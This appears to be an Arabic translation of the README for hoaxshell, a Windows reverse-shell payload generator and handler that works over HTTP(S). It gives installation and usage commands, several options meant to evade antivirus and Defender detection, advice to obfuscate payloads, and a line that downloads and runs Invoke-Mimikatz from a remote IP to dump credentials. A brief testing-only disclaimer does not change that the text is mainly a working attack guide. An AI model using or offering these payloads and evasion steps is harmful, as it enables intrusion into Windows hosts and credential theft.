
مولد ومعالج حمولة شل عكسية لويندوز يستغل بروتوكول http(s) لإنشاء شل عكسية تشبه المنارة.
⚠️ اعتبارًا من 2022-10-18، يتم اكتشاف hoaxshell بواسطة AMSI (موسوعة البرامج الضارة). تحتاج إلى تشويش الحمولة المولدة لاستخدامها. تحقق من هذا الفيديو حول كيفية التشويش يدويًا وتجاوز MS Defender:
hoaxshell هو مولد حمولة عكسية لـ Windows ومعالجها يستغل بروتوكول http(s) لإنشاء صدفة عكسية تشبه المنارة، بناءً على المفهوم التالي:

يمكن استخدام هذا المفهوم (الذي يمكن تنفيذه باستخدام بروتوكولات أخرى غير http أو ملفات exe مثبتة مسبقًا) لإنشاء جلسات تعزز وهم وجود صدفة، لكنها بعيدة كل البعد عن pty حقيقي.
أداء HoaxShell كان جيدًا ضد برامج مكافحة الفيروسات (راجع جدول PoCs تجاوز مكافحة الفيروسات لمزيد من المعلومات). على الرغم من اكتشافه الآن بشكل عام، إلا أنه من السهل تشويش الحمولة (الحمولات) المولدة باستخدام أدوات آلية أو يدويًا.
إخلاء مسؤولية: صُنع لأغراض الاختبار والتعليم فقط. لا تقم بتشغيل الحمولات المولدة بواسطة هذه الأداة ضد مضيفين ليس لديك إذن وتفويض صريح لاختبارهم. أنت مسؤول عن أي مشاكل قد تسببها باستخدام هذه الأداة.
[2022-10-11] حديث ورائع، من إعداد John Hammond -> youtube.com/watch?v=fgSARG82TJY
[2022-07-15] عرض توضيحي للإصدار الأصلي، من إعدادي -> youtube.com/watch?v=SEufgD5UxdU

المزيد من لقطات الشاشة هنا.
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py
هام: كوسيلة لتجنب الاكتشاف، يقوم hoaxshell تلقائيًا بتوليد قيم عشوائية لمعرف الجلسة، مسارات URL واسم رأس http مخصص مستخدم في العملية، في كل مرة يتم فيها تشغيل البرنامج النصي. ستعمل الحمولة المولدة فقط للمثيل الذي تم توليدها من أجله. استخدم الخيار -g لتجاوز هذا السلوك وإعادة إنشاء جلسة نشطة أو إعادة استخدام حمولة مولدة سابقة مع مثيل جديد من hoaxshell.
عند تشغيل hoaxshell، سيقوم بتوليد حمولة PowerShell الخاصة به لتقوم بنسخها وحقنها في الضحية. بشكل افتراضي، تكون الحمولة مشفرة بتنسيق base64 للراحة. إذا كنت بحاجة إلى الحمولة الخام، قم بتنفيذ أمر prompt "rawpayload" أو ابدأ hoaxshell بالوسيطة -r. بعد تنفيذ الحمولة على الضحية، ستتمكن من تشغيل أوامر PowerShell ضدها.
Invoke-Expression (افتراضي)sudo python3 hoaxshell.py -s <your_ip>
استخدم -x لتوفير اسم ملف .ps1 (مسار مطلق) ليتم إنشاؤه على جهاز الضحية. يجب عليك التحقق من الحمولة الخام قبل التنفيذ، تأكد من أن المسار الذي قدمته صحيح.
sudo python3 hoaxshell.py -s <your_ip> -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
يستخدم Hoaxshell رأس http لنقل معلومات جلسة الصدفة. بشكل افتراضي، يتم إعطاء الرأس اسمًا عشوائيًا يمكن اكتشافه بواسطة قواعد AV القائمة على regex. استخدم -H لتوفير اسم رأس http قياسي أو مخصص لتجنب الاكتشاف.
sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization"
sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
هذه الحمولة بالذات تعتبر علامة حمراء، لأنها تبدأ بكتلة إضافية من الأكواد التي تطلب من PowerShell تخطي فحوصات شهادة SSL، مما يجعلها مشبوهة وسهلة الاكتشاف بالإضافة إلى طولها الكبير. غير موصى بها.
# إنشاء شهادة موقعة ذاتيًا:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
# تمرير cert.pem و key.pem كوسيطات:
sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem>
إذا كنت تملك نطاقًا، استخدم هذا الخيار لتوليد حمولة https أقصر وأقل قابلية للاكتشاف من خلال توفير اسم النطاق مع -s بالإضافة إلى شهادة موثوقة (-c cert.pem -k privkey.pem).
sudo python3 hoaxshell.py -s <your.domain.com> -t -c </path/to/cert.pem> -k <path/to/key.pem>
في حالة إغلاق الطرفية عن طريق الخطأ، أو انقطاع التيار الكهربائي أو شيء من هذا القبيل، يمكنك بدء hoaxshell في وضع استرداد الجلسة، سيحاول إعادة إنشاء الجلسة، بشرط أن تكون الحمولة لا تزال قيد التشغيل على جهاز الضحية.
sudo python3 hoaxshell.py -s <your_ip> -g
هام: تأكد من بدء hoaxshell بنفس الإعدادات التي كانت عليها الجلسة التي تحاول استعادتها (http/https، المنفذ، إلخ).
استخدم أي من أشكال الحمولة مع الخيار -cm (--constraint-mode) لتوليد حمولة تعمل حتى إذا تم تكوين الضحية لتشغيل PS في وضع اللغة المقيدة. باستخدام هذا الخيار، ستضحي قليلاً بدقة فك تشفير stdout للصدفة العكسية.
sudo python3 hoaxshell.py -s <your_ip> -cm

استخدم برامج الأنفاق Ngrok أو LocalTunnel للحصول على جلسات عبر أنفاق آمنة، متغلبًا على مشاكل مثل عدم وجود عنوان IP ثابت أو حظر مزود الإنترنت لتحويل المنافذ.
استخدم -ng أو --ngrok لخادم Ngrok
sudo python3 hoaxshell.py -ng
استخدم -lt أو --localtunnel لخادم LocalTunnel
sudo python3 hoaxshell.py -lt
ستتعطل الصدفة إذا قمت بتنفيذ أمر يبدأ جلسة تفاعلية. مثال:
# هذا الأمر سينفذ بنجاح ولن تواجه أي مشكلة:
> powershell echo 'This is a test'
# لكن هذا الأمر سيفتح جلسة تفاعلية داخل جلسة hoaxshell وسيتسبب في تعطل الصدفة:
> powershell
# بنفس الطريقة، لن تواجه مشكلة في تنفيذ هذا:
> cmd /c dir /a
# لكن هذا سيتسبب في تعطل hoaxshell الخاص بك:
> cmd.exe
لذلك، إذا كنت ترغب مثلاً في تشغيل mimikatz عبر hoaxshell، ستحتاج إلى استدعاء الأوامر:
hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'
باختصار، يجب أن تكون حريصًا على عدم تشغيل ملف exe أو cmd يبدأ جلسة تفاعلية ضمن سياق hoaxshell PowerShell.
بعض الأشخاص الرائعين كانوا طيبين بما يكفي لإرسال فيديوهات PoC / نشرها عبر الإنترنت لتنفيذ حمولات hoaxshell ضد أنظمة تشغل حلول مكافحة فيروسات غير MS Defender، دون اكتشافها. أدناه جدول مرجعي مع الروابط:
هام: لا أعرف إذا كان لا يزال بإمكانك استخدام hoaxshell بشكل فعال لتجاوز هذه الحلول. من المعقول فقط افتراض أن قابلية الاكتشاف ستتغير قريبًا (إن لم تكن قد تغيرت بالفعل).